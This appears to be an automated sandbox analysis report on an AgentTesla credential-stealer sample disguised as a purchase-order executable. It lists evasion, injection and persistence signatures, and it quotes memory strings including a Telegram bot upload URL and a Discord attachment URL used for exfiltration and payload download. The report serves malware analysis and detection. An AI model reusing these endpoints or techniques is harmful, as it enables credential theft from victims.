Play interactive tour

Edit tour

Analysis Report New Order PO20011046.exe

Overview

General Information

Sample Name:	New Order PO20011046.exe
Analysis ID:	324078
MD5:	310a7ca550b9997d0e0bcaf645530303
SHA1:	5617d1e233381ea3fd6ab796fcc6a2de66137c51
SHA256:	0ee90c988386390753a1954692a658e393d761887ecfbfd100105c365a3ebc34
Tags:	ESPexegeo
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Allocates memory in foreign processes

Creates a thread in another existing process (thread injection)

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Suspicious Svchost Process

Writes to foreign memory regions

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains strange resources

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

New Order PO20011046.exe (PID: 7048 cmdline: 'C:\Users\user\Desktop\New Order PO20011046.exe' MD5: 310A7CA550B9997D0E0BCAF645530303)

svchost.exe (PID: 6700 cmdline: C:\Windows\System32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cmd.exe (PID: 6960 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4476 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

New Order PO20011046.exe (PID: 1256 cmdline: C:\Users\user\Desktop\New Order PO20011046.exe MD5: 310A7CA550B9997D0E0BCAF645530303)

Evvudrv.exe (PID: 5488 cmdline: 'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe' MD5: 310A7CA550B9997D0E0BCAF645530303)

Evvudrv.exe (PID: 4868 cmdline: 'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe' MD5: 310A7CA550B9997D0E0BCAF645530303)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\uvvE.url	Methodology_Shortcut_HotKey	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x9b:$hotkey: \x0AHotKey=1 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\AppData\Local\uvvE.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\AppData\Local\uvvE.url	Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x70:$icon: IconFile= 0x0:$url_explicit: [InternetShortcut]

Memory Dumps

Source	Rule	Description	Author
0000000B.00000003.759372640.0000000000574000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.921398684.0000000004B40000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.919758080.0000000002251000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.921099669.0000000004A80000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: New Order PO20011046.exe PID: 1256	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: New Order PO20011046.exe PID: 1256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.New Order PO20011046.exe.4a80000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.New Order PO20011046.exe.4b40000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.New Order PO20011046.exe.4b40000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.New Order PO20011046.exe.4a80000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

System Summary:

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Users\user\Desktop\New Order PO20011046.exe' , ParentImage: C:\Users\user\Desktop\New Order PO20011046.exe, ParentProcessId: 7048, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 6700

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Users\user\Desktop\New Order PO20011046.exe' , ParentImage: C:\Users\user\Desktop\New Order PO20011046.exe, ParentProcessId: 7048, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 6700

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Show sources

Source: New Order PO20011046.exe	Virustotal: Detection: 32%			Perma Link
Source: New Order PO20011046.exe	ReversingLabs: Detection: 68%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: New Order PO20011046.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_504851E0 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 4x nop then mov eax, dword ptr [00460BCCh]
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 4x nop then mov eax, ecx
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Code function: 4x nop then mov eax, dword ptr [00460BCCh]
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Code function: 4x nop then mov eax, ecx

Source: Joe Sandbox View	IP Address: 162.159.136.232 162.159.136.232
Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: unknown

DNS traffic detected: queries for: discord.com

Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: http://hltGXE.com
Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgGETMozilla/5.0
Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x
Source: Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/781759014248775694/781759240837791774/Evvured
Source: Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	String found in binary or memory: https://discord.com/
Source: Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	String found in binary or memory: https://discord.com/J
Source: New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: New Order PO20011046.exe

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_020DB9BA NtQuerySystemInformation,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_020DB97F NtQuerySystemInformation,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File created: C:\Windows\assembly\Desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02BDA4F4
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00406C50
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00402860
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_0041A47E
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00408C10
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00418C8C
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00401650
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00418204
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00402ED0
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00402B40
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00418748
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00407350
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00402F39
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_0040DBD1
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00407BEF
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00419384
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Code function: 16_3_02D1A4F4

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 50484278 appears 51 times
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: String function: 0040E198 appears 44 times

Source: New Order PO20011046.exe

Static PE information: invalid certificate

Source: New Order PO20011046.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: New Order PO20011046.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Evvudrv.exe.0.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Evvudrv.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: New Order PO20011046.exe, 0000000B.00000001.758964598.0000000000448000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameuszkpYZrHmwlxpeBdJLqZbZT.exe4 vs New Order PO20011046.exe
Source: New Order PO20011046.exe, 0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename_.dll4 vs New Order PO20011046.exe
Source: New Order PO20011046.exe, 0000000B.00000002.922266457.0000000005310000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs New Order PO20011046.exe
Source: New Order PO20011046.exe, 0000000B.00000002.922240026.0000000005300000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewbemdisp.tlbj% vs New Order PO20011046.exe

Source: C:\Users\user\AppData\Local\uvvE.url, type: DROPPED	Matched rule: Methodology_Shortcut_HotKey author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019
Source: C:\Users\user\AppData\Local\uvvE.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019
Source: C:\Users\user\AppData\Local\uvvE.url, type: DROPPED	Matched rule: Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/ItsReallyNick/status/1176229087196696577, score = 27.09.2019

Source: classification engine

Classification label: mal100.troj.evad.winEXE@15/7@6/4

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_020DA9DA AdjustTokenPrivileges,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_020DA9A3 AdjustTokenPrivileges,

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_5048789A GetDiskFreeSpaceA,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Code function: 11_2_00401980 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,CorBindToRuntimeEx,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,InterlockedDecrement,InterlockedDecrement,SysFreeString,VariantClear,InterlockedDecrement,SysFreeString,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6952:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_01

Source: unknown

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Users\user\Desktop\New Order PO20011046.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\svchost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\New Order PO20011046.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO20011046.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO20011046.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: New Order PO20011046.exe	Virustotal: Detection: 32%
Source: New Order PO20011046.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File read: C:\Users\user\Desktop\New Order PO20011046.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\New Order PO20011046.exe 'C:\Users\user\Desktop\New Order PO20011046.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe
Source: unknown	Process created: C:\Users\user\Desktop\New Order PO20011046.exe C:\Users\user\Desktop\New Order PO20011046.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe 'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe 'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe'
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process created: C:\Users\user\Desktop\New Order PO20011046.exe C:\Users\user\Desktop\New Order PO20011046.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '

Source: C:\Windows\SysWOW64\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File written: C:\Windows\assembly\Desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: New Order PO20011046.exe

Static file information: File size 1311424 > 1048576

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Source:

Binary string: _.pdb source: New Order PO20011046.exe, 0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Unpacked PE file: 11.2.New Order PO20011046.exe.400000.0.unpack CODE:ER;DATA:W;BSS:W;.idata:W;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Unpacked PE file: 11.2.New Order PO20011046.exe.400000.0.unpack

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C137 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D536 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237943F push edi; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237B338 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C724 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02379C23 push ebx; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02379E14 push ebx; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C81F push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D61B push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D207 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D607 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237997C push ebx; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237B178 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237926C push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02379A6C push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D153 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237D24E push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237B0B3 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237A7B0 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C1A9 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237A392 push edi; iretd
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237949D push ebx; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C49C push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237B287 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C2FC push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237B5E4 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C4EF push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02379EE9 push ebx; ret
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C5D6 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_0237C3C2 push esi; retf
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 0_3_02BD1AA4 push 00440316h; ret

Source: C:\Users\user\Desktop\New Order PO20011046.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Evvu			Jump to behavior
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Evvu			Jump to behavior

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
